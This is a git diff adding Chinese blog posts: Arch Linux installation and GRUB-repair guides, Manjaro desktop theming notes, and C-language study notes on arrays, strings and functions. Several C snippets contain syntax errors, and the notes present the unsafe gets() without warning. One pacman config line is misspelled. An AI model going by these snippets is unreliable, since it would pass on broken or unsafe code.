- 设置**时区**和**硬件时间**设置
|
||||
|
||||
```bash
|
||||
#设置时区
|
||||
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
|
||||
|
||||
#硬件时间设置
|
||||
hwclock --systohc
|
||||
```
|
||||
|
||||
### 1.3.13编辑语言环境
|
||||
|
||||
```bash
|
||||
nano /etc/locale.gen
|
||||
```
|
||||
|
||||
ctrl+w搜索en_US注意大小写
|
||||
|
||||
alt+w搜索下一个 找到en_US.UTF-8.UTF-8 然后把他取消注释
|
||||
|
||||
保存退出
|
||||
|
||||
```bash
|
||||
locale-gen #使刚才编辑的语言环境生效
|
||||
```
|
||||
|
||||
### 1.3.14设置root密码
|
||||
|
||||
```bash
|
||||
passwd root #当前账户就是root 可以不用打root
|
||||
```
|
||||
|
||||
### 1.3.15添加新用户
|
||||
|
||||
```bash
|
||||
用户名以arch为例
|
||||
|
||||
useradd -m -G wheel -s /bin/bash arch #这里新建用户arch
|
||||
|
||||
#为arch设置密码
|
||||
passwd arch
|
||||
```
|
||||
|
||||
- 设置arch用户名的密码
|
||||
|
||||
```bash
|
||||
#编辑arch用户的权限
|
||||
EDITOR=nano visudo
|
||||
```
|
||||
|
||||
ctrl+w搜索%wheel
|
||||
|
||||
找到**# %wheel ALL=(ALL:ALL)ALL**取消注释
|
||||
|
||||
### 1.3.16安装 cpu微码和引导软件
|
||||
|
||||
```bash
|
||||
pacman -S intel-ucode grub efibootmgr os-prober
|
||||
#如果是amd的cpu 则输入amd-ucode
|
||||
|
||||
|
||||
#安装grub引导 如果不知道系统什么架构可以使用'uname -a'查看一下
|
||||
grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=GRUB
|
||||
|
||||
|
||||
生成grub
|
||||
grub-mkconfig -o /boot/grub/grub.cfg
|
||||
```
|
||||
|
||||

|
||||
|
||||
os-prober查找已安装的操作系统, 推荐双系统使用者安装此工具(虚拟机没必要)
|
||||
|
||||
```bash
|
||||
pacman -S os-prober
|
||||
```
|
||||
|
||||
### 1.3.17安装KDE桌面 字体 浏览器等软件包等
|
||||
|
||||
```bash
|
||||
pacman -S plasma konsole dolphin #kde桌面和终端,文件管理器
|
||||
|
||||
pacman -S ntfs-3g #可以读取ntfs格式磁盘,根据自己情况选择性安装
|
||||
|
||||
#中文字体
|
||||
pacman -S adobe-source-han-serif-cn-fonts adobe-source-han-sans-cn-fonts wqy-zenhei wqy-microhei noto-fonts-cjk noto-fonts-emoji noto-fonts-extra ttf-dejavu
|
||||
|
||||
|
||||
#一堆软件,以下不是必须安装.可以根据自己情况选择性安装
|
||||
pacman -S firefox ark gwenview packagekit-qt5 packagekit appstream-qt appstream man neofetch net-tools networkmanager openssh git wget
|
||||
```
|
||||
|
||||
> - vmware虚拟机的自适应分辨率,**实体机请勿安装**
|
||||
>
|
||||
> ```bash
|
||||
> pacman -S gtkmm gtk2 gtkmm3 open-vm-tools xf86-input-vmmouse xf86-video-vmware
|
||||
>
|
||||
> #开机启动 显示管理器 网络管理 ssh 虚拟机自适应分辨率
|
||||
> systemctl enable NetworkManager sddm vmtoolsd sshd
|
||||
> #编辑配置文件
|
||||
> nano /etc/mkinitcpio.conf
|
||||
> MODULES=(vsock vmw_vsock_vmci_transport vmw_balloon vmw_vmci vmwgfx)
|
||||
> #使刚才配置文件生效
|
||||
> mkinitcpio -p linux
|
||||
> ```
|
||||
|
||||
**至此系统基本安装完毕, 按照以下步骤重启准备进入系统**
|
||||
|
||||
- **exit**退回到**live**系统中
|
||||
- **umount -R /mnt** 卸载/mnt目录
|
||||
- **reboot**重启
|
||||
|
||||

|
||||
|
||||
输入之前设置的密码即可进入系统
|
||||
|
||||

|
||||
|
||||
### 1.3.18最后调整
|
||||
|
||||
```bash
|
||||
#修改pacman.conf
|
||||
|
||||
sudo nano /etc/pacman.conf
|
||||
|
||||
#取消'Color'前的注释,这样系统报错时会彩色显示,方便排查
|
||||
|
||||
#取消以下两行的注释
|
||||
[multilib]
|
||||
Include = /etc/pacman.d/mirrorslist
|
||||
|
||||
|
||||
|
||||
#再在最后面添加以下两行内容
|
||||
[archlinuxcn]
|
||||
Server = https://mirrors.tuna.tsinghua.edu.cn/archlinuxcn/$arch
|
||||
|
||||
|
||||
#保存并退出
|
||||
|
||||
#更新一下软件包
|
||||
pacman -Sy
|
||||
```
|
||||
|
||||

|
||||
|
||||
**安装archlinuxcn-keyring包导入GPG key**
|
||||
|
||||
```bash
|
||||
sudo pacman -S archlinuxcn-keyring
|
||||
```
|
||||
|
||||
再次更新下源
|
||||
|
||||
```bash
|
||||
sudo pacman -Sy
|
||||
```
|
||||
|
||||
- yay paru都是aur助手, 任选一种, 还有其他的aur助手软件可以自行搜索
|
||||
|
||||
```bash
|
||||
pacman -S yay paru
|
||||
```
|
||||
|
||||
如果报错则执行以下命令
|
||||
|
||||
```bash
|
||||
rm -rf /etc/pacman.d/gnupg #rm命令谨慎操作
|
||||
pacman-key --init
|
||||
pacman-key --populate archlinux
|
||||
pacman-key --populate archlinuxcn
|
||||
```
|
||||
|
||||
- 安装fcitx5输入法
|
||||
|
||||
```bash
|
||||
pacman -S fcitx5-im fcitx5-chinese-addons fcitx5-pinyin-moegirl fcitx5-pinyin-zhwiki fcitx5-material-color
|
||||
|
||||
#编辑运行环境 使fcitx5输入法生效
|
||||
EDITOR=nano sudoedit /etc/environment
|
||||
|
||||
#输入以下内容
|
||||
GTK_IM_MODULE=fcitx
|
||||
QT_IM_MODULE=fcitx
|
||||
XMODIFIERS=@im=fcitx
|
||||
SDL_IM_MODULE=fcitx
|
||||
|
||||
#重启以下系统即可
|
||||
```
|
||||
|
||||
### 1.3.19结束安装
|
||||
|
||||
> 至此,系统已经全部安装完成.
|
||||
136
src/content/posts/arch_majaro.md
Normal file
136
src/content/posts/arch_majaro.md
Normal file
@ -0,0 +1,136 @@
|
||||
---
|
||||
title: Majaro 配置记录
|
||||
published: 2022-12-18
|
||||
description: ''
|
||||
image: 'https://hexoimage.pages.dev/file/3cf6864a213a1bf09c5ff.png'
|
||||
tags: ["Arch Linux", 配置]
|
||||
category: 'Linux'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||

|
||||
|
||||
## 添加AUR源
|
||||
|
||||
manjaro是基于Arch的,所以也能使用Arch的AUR
|
||||
|
||||
修改**pacman.conf**文件
|
||||
|
||||
```
|
||||
sudo nano /etc/pacman.conf
|
||||
|
||||
# 在最后添加以下三行内容
|
||||
|
||||
+ [archlinuxcn]
|
||||
+ SigLevel = Optional TrustedOnly
|
||||
+ Server = https://mirrors.tsinghua.edu.cn/archlinuxcn/$arch
|
||||
|
||||
#之后保存更新
|
||||
|
||||
sudo pacman -Syyu
|
||||
```
|
||||
|
||||
**安装archlinuxcn-keyring包导入GPG key**
|
||||
|
||||
```
|
||||
sudo pacman -S archlinuxcn-keyring
|
||||
```
|
||||
|
||||
**GIT**
|
||||
|
||||
```
|
||||
sudo pacman -S git
|
||||
```
|
||||
|
||||
**chrome浏览器**
|
||||
|
||||
```
|
||||
#chrome浏览器
|
||||
|
||||
sudo pacman -S google-chrome
|
||||
```
|
||||
|
||||
## 配置
|
||||
|
||||
### **全局主题-layan**
|
||||
|
||||
[https://github.com/vinceliuice/Layan-kde ](https://github.com/vinceliuice/Layan-kde)
|
||||
|
||||

|
||||
|
||||
**Plasma样式**
|
||||
|
||||

|
||||
|
||||
**颜色**
|
||||
|
||||

|
||||
|
||||
**图标**
|
||||
|
||||

|
||||
|
||||
**设置——工作区行为——桌面特效**
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
**窗口透明度**
|
||||
|
||||

|
||||
|
||||
**窗口背景虚化**
|
||||
|
||||

|
||||
|
||||
### **gnome-gtk程序风格**
|
||||
|
||||
文件:[https://pan.baidu.com/s/1SZbrEzFI2SFCBMEJ0zmuHQ ](https://pan.baidu.com/s/1SZbrEzFI2SFCBMEJ0zmuHQ) 密码: r8t5
|
||||
|
||||
用到的软件 kvantum
|
||||
|
||||
软件库里有,点击直接安装
|
||||
|
||||

|
||||
|
||||
也可以用终端安装
|
||||
|
||||
```
|
||||
sudo pacman -S kvantum
|
||||
```
|
||||
|
||||
选择主题安装
|
||||
|
||||

|
||||
|
||||
稍作修改
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
**保存,然后在设置里应用 kvantum 即可**
|
||||
|
||||
### 任务栏插件
|
||||
|
||||
**panon音乐插件**
|
||||
|
||||
[https://github.com/rbn42/panon ](https://github.com/rbn42/panon)
|
||||
|
||||
**配置**
|
||||
|
||||

|
||||
|
||||
**Dock栏**
|
||||
|
||||
```
|
||||
sudo pacman -S plank
|
||||
```
|
||||
|
||||
**配置**
|
||||
|
||||

|
||||
85
src/content/posts/archlinux-bootloader.md
Normal file
85
src/content/posts/archlinux-bootloader.md
Normal file
@ -0,0 +1,85 @@
|
||||
---
|
||||
title: 解决Windows更新后重写引导记录导致Archlinux引导消失的问题
|
||||
published: 2025-12-26
|
||||
description: ''
|
||||
image: 'https://hexoimage.pages.dev/file/49f93be93d3b83ea337a5.png'
|
||||
tags: [Archlinux, Linux]
|
||||
category: 'Archlinux'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
## 问题
|
||||
|
||||
在windows和linux双系统和双分区引导的情况下,windows系统更新后有时候会自动更新引导记录,此时如果有linux引导,会被直接覆盖,但是linux的引导分区和文件仍在,此时linux引导会直接被复写,导致再次启动时linux引导消失找不到。
|
||||
|
||||
## 解决办法
|
||||
|
||||
通过U盘安装盘进行修复
|
||||
|
||||
## U盘启动盘制作
|
||||
|
||||
### Ventoy
|
||||
|
||||
推荐在u盘中使用[Ventoy](https://www.ventoy.net/en/index.html)进行制作一个最精简的多功能的U盘启动盘。
|
||||
|
||||
ventoy安装会格式化U盘,安装前尽量先把U盘资料备份一下,在ventoy安装好后,U盘就具有了存储和启动盘双功能,使用的启动镜像不需要烧录,直接将iso复制到U盘里即可,在启动的时候ventoy会自动检测可以启动的启动镜像。
|
||||
|
||||
### 修复引导
|
||||
|
||||
这里用的是Archlinux系统,所以就从[Archlinux download](https://archlinux.org/download/)选择合适源下载一个archlinux的iso安装镜像。
|
||||
|
||||
|
||||
通过u盘进入iso系统后先去查看自己的分区情况。
|
||||
|
||||
```bash
|
||||
fdisk -l
|
||||
```
|
||||
|
||||
|
||||
如下,这是我截取的有关linux的分区配置
|
||||
```plaintext
|
||||
/dev/nvme0n1p5 1219518464 1221615615 2097152 1G EFI 系统
|
||||
/dev/nvme0n1p6 1221615616 1230004223 8388608 4G Linux swap
|
||||
/dev/nvme0n1p7 1230004224 1534091263 304087040 145G Linux 文件系统
|
||||
```
|
||||
|
||||
现在需要挂载这几个分区到mnt中
|
||||
|
||||
```bash
|
||||
mount /dev/nvme0n1p7 /mnt
|
||||
mount /dev/nvme0n1p5 /mnt/boot
|
||||
|
||||
# 挂载一下必要目录
|
||||
mount --bind /dev /mnt/dev
|
||||
mount --bind /proc /mnt/proc
|
||||
mount --bind /sys /mnt/sys
|
||||
mount --bind /run /mnt/run
|
||||
```
|
||||
|
||||
通过arch-chroot 进行重新生成配置
|
||||
|
||||
```bash
|
||||
arch-chroot /mnt
|
||||
|
||||
# 进入后根据实际情况重新安装一下grub
|
||||
grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=XXXX
|
||||
|
||||
# 生成grub配置文件
|
||||
grub-mkconfig -o /boot/grub/grub.cfg
|
||||
```
|
||||
|
||||
若 windows和linux用的同一个分区,在以上操作执行后,尽量重新生成一下initramfs
|
||||
```bash
|
||||
mkinitcpio -P
|
||||
```
|
||||
|
||||
退出U盘镜像并重启
|
||||
```bash
|
||||
exit
|
||||
umount -R /mnt
|
||||
reboot
|
||||
```
|
||||
之后archlinux应该是可以重新能够引导了
|
||||
1096
src/content/posts/c_learn_1.md
Normal file
1096
src/content/posts/c_learn_1.md
Normal file
File diff suppressed because it is too large
Load Diff
342
src/content/posts/c_learn_2.md
Normal file
342
src/content/posts/c_learn_2.md
Normal file
@ -0,0 +1,342 @@
|
||||
---
|
||||
title: C语言学习-2
|
||||
published: 2022-11-22
|
||||
description: ''
|
||||
image: 'https://t.alcy.cc/fj'
|
||||
tags: [C语言, 笔记]
|
||||
category: '笔记'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
**学习目标:**
|
||||
|
||||
- 1、一维数组、二维数组、字符数组的定义、引用、初始化
|
||||
- 2、利用数组批量处理数据。
|
||||
|
||||
## 一、数组的概念
|
||||
|
||||
1.数组是一组有序数据的集合
|
||||
|
||||
2.数组中每一个元素都属于同一个数据类型
|
||||
|
||||
## 二、一维数组
|
||||
|
||||
### 1、定义
|
||||
|
||||
- 类型关键字数组名[常量表达式]
|
||||
- 类型关键字:int、float等
|
||||
- 数组名:遵循标识符命名规则
|
||||
- 不允许使用C语言中的关键字
|
||||
- 由字母、数字、下划线组成,且首字母必须为字母或下划线,不能为数字
|
||||
- []不是【】
|
||||
- 常量表达式
|
||||
- inta[5]
|
||||
- inta[3+2]
|
||||
- inta[N]//N是提前声明的符号常量
|
||||
|
||||
### 2、引用
|
||||
|
||||
数组名[下标]
|
||||
|
||||
例:a[4]//引用数组中第五个元素
|
||||
|
||||
### 3、初始化
|
||||
|
||||
- 在定义数组时,对数组元素赋初值
|
||||
- int a[6]={1,2,3,4,5,6};
|
||||
- 可只给一部分数组元素赋初值,未赋值部分默认为0
|
||||
- int a[6]={1,2,3};
|
||||
- 未赋初值的数组,各元素值不确定(取决于不同的编译器)
|
||||
|
||||

|
||||

|
||||
|
||||
- 初始化的数据个数确定时可以省略数组长度。
|
||||
- 例:inta[]={1,2,3};
|
||||
- 数组中全部元素初始化为0。
|
||||
- 例:inta[6]={0};
|
||||
|
||||
### 4、一维数组使用示例//输出斐波那契数列前30个数
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
int main()
|
||||
{
|
||||
int f[30]={1,1}
|
||||
int i;
|
||||
printf("%d\t%d\t",f[0],f[1]);
|
||||
for(i=2;i<30;i++)
|
||||
{
|
||||
if(i%5==0)
|
||||
printf("\n");
|
||||
f[i]=f[i-1]+f[i-2];
|
||||
printf("%d\t",f[i]);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### 5、排序算法
|
||||
|
||||
参考:[https://www.cnblogs.com/onepixel/p/7674659.html ](https://www.cnblogs.com/onepixel/p/7674659.html)
|
||||
|
||||
交换排序:所谓交换,就是根据序列中两个记录键值的比较结果来对换这两个记录在序列中的位置,交换排序的特点是:将键值较大的记录向序列的尾部移动,键值较小的记录向序列的前部移动。
|
||||
|
||||
```c
|
||||
for(j=0;j<5;j++)
|
||||
{
|
||||
for(i=j+1;i<6;i++)
|
||||
{
|
||||
if(a[j]>a[i])
|
||||
{t=a[j];a[j]=a[i];a[i]=t;}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
#### 选择排序
|
||||
|
||||
- 原理:假设长度为n的数组arr,要按照从小到大排序,那么先从n个数字中找到最小值min1,如果最小值min1的位置不在数组的最左端(也就是min1不等于arr[0]),则将最小值min1和arr[0]交换,接着在剩下的n-1个数字中找到最小值min2,如果最小值min2不等于arr[1],则交换这两个数字,依次类推,直到数组arr有序排列。
|
||||
- 步骤:
|
||||
1.首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置。
|
||||
2.再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。
|
||||
3.重复第二步,直到所有元素均排序完毕。
|
||||
|
||||
```c
|
||||
for(j=0;j<5;j++)
|
||||
{
|
||||
for(k=j;i=j+1;i<6;i++)
|
||||
if(a[k]>a[i])
|
||||
k=i;
|
||||
if(k!=j)
|
||||
{t=a[k],a[k]=a[j];a[j]=t}
|
||||
}
|
||||
```
|
||||
|
||||
#### 冒泡排序:
|
||||
|
||||
- 原理:假设长度为n的数组arr,要按照从小到大排序。则冒泡排序的具体过程可以描述为:首先从数组的第一个元素开始到数组最后一个元素为止,对数组中相邻的两个元素进行比较,如果位于数组左端的元素大于数组右端的元素,则交换这两个元素在数组中的位置。这样操作后数组最右端的元素即为该数组中所有元素的最大值。接着对该数组除最右端的n-1个元素进行同样的操作,再接着对剩下的n-2个元素做同样的操作,直到整个数组有序排列。
|
||||
- 步骤:
|
||||
1、比较相邻的元素。如果第一个比第二个大,就交换他们两个。
|
||||
2、对每一对相邻元素做同样的工作,从开始第一对到结尾的最后一对。在这一点,最后的元
|
||||
素应该会是最大的数。
|
||||
3、针对所有的元素重复以上的步骤,除了最后一个。
|
||||
4、持续每次对越来越少的元素重复上面的步骤,直到没有任何一对数字需要比较。
|
||||
|
||||
```
|
||||
for(j=0;j<5;j++)
|
||||
for(i=0;i<5-j;i++)
|
||||
if(a[i]>a[i+1])
|
||||
{......}
|
||||
```
|
||||
|
||||
## 三、二维数组
|
||||
|
||||
### 1、定义
|
||||
|
||||
note blue modern
|
||||
类型关键字 数组名[常量表达式1][常量表达式2]
|
||||
endnote
|
||||
|
||||
例:
|
||||
|
||||
```c
|
||||
int a[3][4];
|
||||
float b[5][10];
|
||||
```
|
||||
|
||||
### 2、引用
|
||||
|
||||
note blue modern
|
||||
数组名[下标1][下标2]
|
||||
endnote
|
||||
|
||||
例:
|
||||
|
||||
```
|
||||
a[0][0] a[0][1] a[0][2] a[0][3]
|
||||
a[1][0] a[1][1] a[1][2] a[1][3]
|
||||
a[2][0] a[2][1] a[2][2] a[2][3]
|
||||
```
|
||||
|
||||
### 3、初始化
|
||||
|
||||
#### 1、分行初始化
|
||||
|
||||
```c
|
||||
int a[2][3]={{1,2,3},{4,5,6}}
|
||||
```
|
||||
|
||||
#### 2、按存放数据整体初始化
|
||||
|
||||
```c
|
||||
int a[3][2]={1,2,3,4,5,6}
|
||||
```
|
||||
|
||||
#### 3、部分元素初始化
|
||||
|
||||
```c
|
||||
int a[3][3]={{1},{},{4,5,6}}
|
||||
```
|
||||
|
||||
#### 4、省略第一维初始化
|
||||
|
||||
```c
|
||||
int a[][3]={{1},{},{4,5,6}}
|
||||
```
|
||||
|
||||
### 4、输入输出
|
||||
|
||||
#### 1、输入
|
||||
|
||||
```c
|
||||
for(i=0;i<3;i++)
|
||||
for(j=0,j<4;j++)
|
||||
scanf("%d",&a[i][j]);
|
||||
```
|
||||
|
||||
#### 2、输出
|
||||
|
||||
```c
|
||||
for(i=0;i<3;i++)
|
||||
{
|
||||
for(j=0,j<4;j++)
|
||||
printf("%d",a[i][j]);
|
||||
printf("\n");
|
||||
}
|
||||
```
|
||||
|
||||
## 四、字符数组
|
||||
|
||||
**1、C语言中没有表示字符串的类型,也没有字符串变量,字符串用字符数组来存放。**
|
||||
**2、字符型数据以字符的ASCII码存放在存储单元中,一般占一个字节。**
|
||||
|
||||
### 1、定义
|
||||
|
||||
```c
|
||||
char c[10],a[5];
|
||||
```
|
||||
|
||||
### 2、初始化
|
||||
|
||||
- 字符常量初始化
|
||||
|
||||
```c
|
||||
char c[6]={'H','a','p','p','y','!'}; //sizeof(c)=6
|
||||
char c[]={'H','a','p','p','y','!'}; //提供初值个数与定义数组长度相同,可省略长度
|
||||
char c[]={'H','a','p','p','y','!','\0'}; //sizeof(c)=7
|
||||
```
|
||||
|
||||
- 字符串常量初始化
|
||||
|
||||
```c
|
||||
char c[]={"Happy!"}; //sizeof(c)=7因为字符串末尾自动加一个'\0'
|
||||
char c[]="Happy";
|
||||
|
||||
//等同于charc[]={'H','a','p','p','y','!','\0'};
|
||||
//不同于charc[]={'H','a','p','p','y','!'};
|
||||
```
|
||||
|
||||
- 关于’\0’
|
||||
|
||||
note blue modern
|
||||
C系统在用字符数组存储字符串常量时,会自动在末尾加一个’\0’作为结束符
|
||||
|
||||
字符数组并不要求它的最后一个字符为’\0‘,因此charc[6]={‘H’,’a’,’p’,’p’,’y’,’!’};完全合法
|
||||
|
||||
由于系统在处理在字符串常量时会自动加’\0’,为了一致及方便,通常处理时,人为的也加上’\0’
|
||||
endnote
|
||||
|
||||
### 3、引用
|
||||
|
||||
- 单个元素的引用
|
||||
|
||||
note blue modern
|
||||
允许引用单个字符元素,输入或输出一个字符。
|
||||
endnote
|
||||
|
||||
```c
|
||||
char c[7]= "happy!";
|
||||
scanf("%c",&c[2]); // 对c[2]元素赋一个字符
|
||||
printf("%c",c[3]); // 输出c[3]元素p
|
||||
```
|
||||
|
||||
note blue modern
|
||||
以字符串形式进行输入输出
|
||||
endnote
|
||||
|
||||
```c
|
||||
char c[7];
|
||||
scanf("%s",c); //注意此处不加&因为在C语言中,数组名代表第一个数组元素的地址
|
||||
printf("%s",c); //输出该字符串
|
||||
printf("%o",c); //八进制形式输出数组c的起始地址,即第一个数组元素的地址
|
||||
```
|
||||
|
||||
note blue modern
|
||||
如果利用一个scanf函数输入多个字符串,应在输入时,以空格隔开
|
||||
endnote
|
||||
|
||||
```c
|
||||
char a[5],b[5],c[5];
|
||||
scanf("%s%s%s",a,b,c); // 输入How are you分别将三个单词赋给a,b,c三个数组,注意:
|
||||
// 输入格式控制中间没有空格
|
||||
printf("%s%s%s",a,b,c); // 输出How are you
|
||||
```
|
||||
|
||||
### 4、使用字符串处理函数
|
||||
|
||||
- put(字符数组)
|
||||
将一个字符串输出到终端
|
||||
作用等效于printf(“%s”,c);也可以输出转义字符
|
||||

|
||||
- gets(字符数组)
|
||||
从终端输入一个字符串到字符数组,并且得到一个函数值,该函数值为字符数组的起始地址。
|
||||
相比于scanf(“%s”,c);可以返回数组的地址值
|
||||
|
||||

|
||||
|
||||
- puts与gets函数都仅仅只能处理一个字符串
|
||||
- strcat(字符数组1,字符数组2)
|
||||
把字符串2接到字符串1后面,结果放到字符数组1中,函数调用后得到的函数值为字符数组1的地址
|
||||
|
||||
note red modern
|
||||
注:字符数组1的长度必须足够大,以便容纳连接后的新字符串。
|
||||
字符数组定义及初始化时,长度不能省略。
|
||||
endnote
|
||||
|
||||
- strcpy(字符数组1,字符串2)
|
||||
将字符串2复制到字符数组1中去
|
||||
|
||||
note red modern
|
||||
注:字符数组1的长度不小于字符串2的长度;
|
||||
字符数组1必须写成数组名形式,字符串2可以是字符数组名,也可以是字符串常量
|
||||
endnote
|
||||
|
||||
- **strncpy(str1,str2,2)**
|
||||
|
||||
将str2中最前面的两个字符复制到str1中
|
||||
|
||||
- **strcmp(字符串1,字符串2)**
|
||||
|
||||
比较字符串1和字符串2
|
||||
|
||||
若相等,函数值为0;
|
||||
|
||||
若字符串1>字符串2,函数值为一个正整数;
|
||||
|
||||
若字符串1<字符串2,函数值为一个负整数。
|
||||
|
||||
- **strlen(字符数组)**
|
||||
|
||||
测试字符串实际长度
|
||||
|
||||
- **strlwr(字符串)**
|
||||
|
||||
将字符串中大写字母换成小写字母
|
||||
|
||||
- **strupr(字符串)**
|
||||
|
||||
将字符串中的小写字母换成大写字母
|
||||
484
src/content/posts/c_learn_3.md
Normal file
484
src/content/posts/c_learn_3.md
Normal file
@ -0,0 +1,484 @@
|
||||
---
|
||||
title: C语言学习-3
|
||||
published: 2022-11-23
|
||||
description: ''
|
||||
image: 'https://t.alcy.cc/fj'
|
||||
tags: [C语言, 笔记]
|
||||
category: '笔记'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
## 函数
|
||||
|
||||
### 1、为什么需要:
|
||||
|
||||
- 程序需要多次实现某一功能
|
||||
- 程序需要实现多种功能
|
||||
|
||||
组装思想—>模块化程序设计
|
||||
|
||||
### 2、什么是函数:
|
||||
|
||||
函数(function):函数就是功能,每一个函数用来实现某一个特定的功能
|
||||
|
||||
### 3、函数从哪来:
|
||||
|
||||
- 库函数
|
||||
- 编译函数
|
||||
- 自己编写函数
|
||||
|
||||
### 4、函数的分类
|
||||
|
||||
- 无参函数
|
||||
- 有参函数
|
||||
|
||||
### 5、其他
|
||||
|
||||
- 一个C程序由一个或多个源文件组成
|
||||
- 一个源文件由一个或多个函数组成
|
||||
|
||||
## 怎么定义函数
|
||||
|
||||
### 1、为什么要定义
|
||||
|
||||
- 程序中用到的所有函数必须“先定义,后使用”
|
||||
|
||||
- 同变量定义的道理类似,需要事先告知系统该函数功能、参数等信息,具体包括:
|
||||
|
||||
> 函数的名字,一遍按名调用
|
||||
> 函数的类型,即函数返回值的类型
|
||||
> 函数的参数名字即类型,以便调用函数时像他们传递数据
|
||||
> 函数完成什么操作,即功能
|
||||
|
||||
### 2、定义函数的方法
|
||||
|
||||
note blue no-icon
|
||||
定义无参函数
|
||||
endnote
|
||||
|
||||
```c
|
||||
类型名 函数名() //()内可以加void,可不加
|
||||
{
|
||||
函数体
|
||||
}
|
||||
|
||||
|
||||
例:
|
||||
void pr()
|
||||
{
|
||||
ptintf("hello world!");
|
||||
}
|
||||
```
|
||||
|
||||
note blue no-icon
|
||||
定义有参函数
|
||||
endnote
|
||||
|
||||
```c
|
||||
类型名 函数名(形参列表)
|
||||
{
|
||||
函数体
|
||||
}
|
||||
|
||||
|
||||
例:
|
||||
int max(int a,int b)
|
||||
{
|
||||
return(a>b?a:b);
|
||||
}
|
||||
```
|
||||
|
||||
note blue no-icon
|
||||
定义空函数
|
||||
endnote
|
||||
|
||||
```
|
||||
类型名 函数名()
|
||||
{}
|
||||
|
||||
|
||||
例:
|
||||
void fun()
|
||||
{}
|
||||
```
|
||||
|
||||
## 调用函数
|
||||
|
||||
一般形式:函数名(实参表列)
|
||||
|
||||
### 1、调用函数的形式
|
||||
|
||||
```
|
||||
函数调用语句
|
||||
例:
|
||||
pr();
|
||||
|
||||
|
||||
函数表达式 //函数调用语句出现在另一个表达式中
|
||||
例:
|
||||
c=2*max(a,b); //调用函数带回一个确定值并参
|
||||
|
||||
|
||||
|
||||
加表达式的运算
|
||||
函数参数 //函数调用作为另一个函数调用时的参数
|
||||
例:
|
||||
m=max(a,max(b,c)); //将调用max函数的结果再重新作为下一次调用max函数的参数
|
||||
```
|
||||
|
||||
### 2、函数调用时的数据传递
|
||||
|
||||
在调用有参函数时,系统会把实参的值传传给被调用函数的形参,该值在函数调用期间有效。
|
||||
|
||||
**1.形参:定义函数时,函数名括号后面的变量称为形式参数(或虚拟参数)**
|
||||
|
||||
- 形参在函数调用时被分配内存单元,调用结束后立即释放
|
||||
- 形参为变量时,实参与形参的数据传递是“值传递”,即“单向传递”。
|
||||
|
||||
**2.实参:在主调函数中调用一个函数时,函数名后面括号中的参数称为实际参数**
|
||||
|
||||
- 实参可以是常量、变量或表达式,但要求有确定值。
|
||||
- 应保证形参与实参个数、类型、顺序的一致(字符型与整型可通用)。
|
||||
- 形参与实参的类型应相同或i赋值兼容。
|
||||
|
||||
note red modern
|
||||
注:实参向形参的数据传递是“值传递”,单向传递,只能由实参传给形参,而不能由形参传给实参。
|
||||
实参和形参在内存中占有不同的存储单元,实参无法得到形参的值。
|
||||
endnote
|
||||
|
||||
### 3、函数的返回值
|
||||
|
||||
调函数调用函数希望得到一个确定值,这就是函数的返回值
|
||||
|
||||
- 函数的返回值是通过return语句获得的
|
||||
|
||||
- 可以有多个return语句,但只能有一个起作用。即函数只能返回一个值
|
||||
|
||||
- 函数返回值的类型取决于定义函数时指定的函数值的类型
|
||||
|
||||
```
|
||||
int max(int x,int y) //函数值为整型
|
||||
double min(int x,int..y) //函数值为double类型
|
||||
```
|
||||
|
||||
- 在定义函数时指定的函数类型一般应该和return语句中的表达式一致,若不一致,则以函数类型为
|
||||
准,即函数类型决定返回值类型。
|
||||
|
||||
- 对于不带返回值的函数,应当定义为void类型。
|
||||
|
||||
**小结**
|
||||
|
||||
- 函数——即想要实现某一功能所编写的程序,可将其理解为一个黑匣子,给它相应的输入(由调用
|
||||
者决定),它经过加工操作,给出你一个输出(结果)。
|
||||
|
||||
- 函数的定义可理解为该制作该黑匣子,需要包括以下信息:
|
||||
|
||||
> 需要明确告知该函数的名字(一般以黑匣子的功能简称作为名字,做到见名知意)
|
||||
> 使用该函数需要提供的输入(包括明确规定需要提供几个输入以及每个输入的类型)
|
||||
> 该函数能够实现什么功能(黑匣子的详细功能介绍)
|
||||
> 函数类型,也称函数返回值类型(即执行完毕后会输出什么)
|
||||
>
|
||||
> > 该输出值由return语句带回。
|
||||
> > 若不用带回值,则不用写return语句,同时函数定义为void类型
|
||||
> > 返回值类型应与函数类型一致,若不一致,则以函数类型为准。
|
||||
|
||||
- 函数调用:使用该黑匣子的过程,若需要提供输入,则涉及到形参和实参之间的数据传递
|
||||
|
||||
## 对被调用函数的声明和函数原型
|
||||
|
||||
**1、调用函数时应该具备的条件**
|
||||
|
||||
- 被调用函数必须是已经定义的函数
|
||||
- 若该被调用函数为库函数,则需要在文件开头,用#include指令调用
|
||||
- 若该被调用函数为用户自己定义的函数,而该函数的位置在调用它的函数的后面,则需要在主调函数中对被调函数做声明。
|
||||
- 声明是为了提前将该函数的相关信息告知编译系统,以允许编译系统检查调用是否合法。
|
||||
|
||||
**2、函数声明的形式(2种)**
|
||||
|
||||
- 1.函数类型函数名(参数类型1参数名1,参数类型2c参数名2,……参数类型n参数名n);
|
||||
- 2.函数类型函数名(参数类型1,参数类型2,……参数类型n)
|
||||
|
||||
## 函数的嵌套调用
|
||||
|
||||
**在调用一个函数的过程中,又调用另一个函数**
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
int fun2(int m)
|
||||
{
|
||||
return m*m;
|
||||
}
|
||||
|
||||
int fun1(int x,int y)
|
||||
{
|
||||
return fun2(x) + fun2(y);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
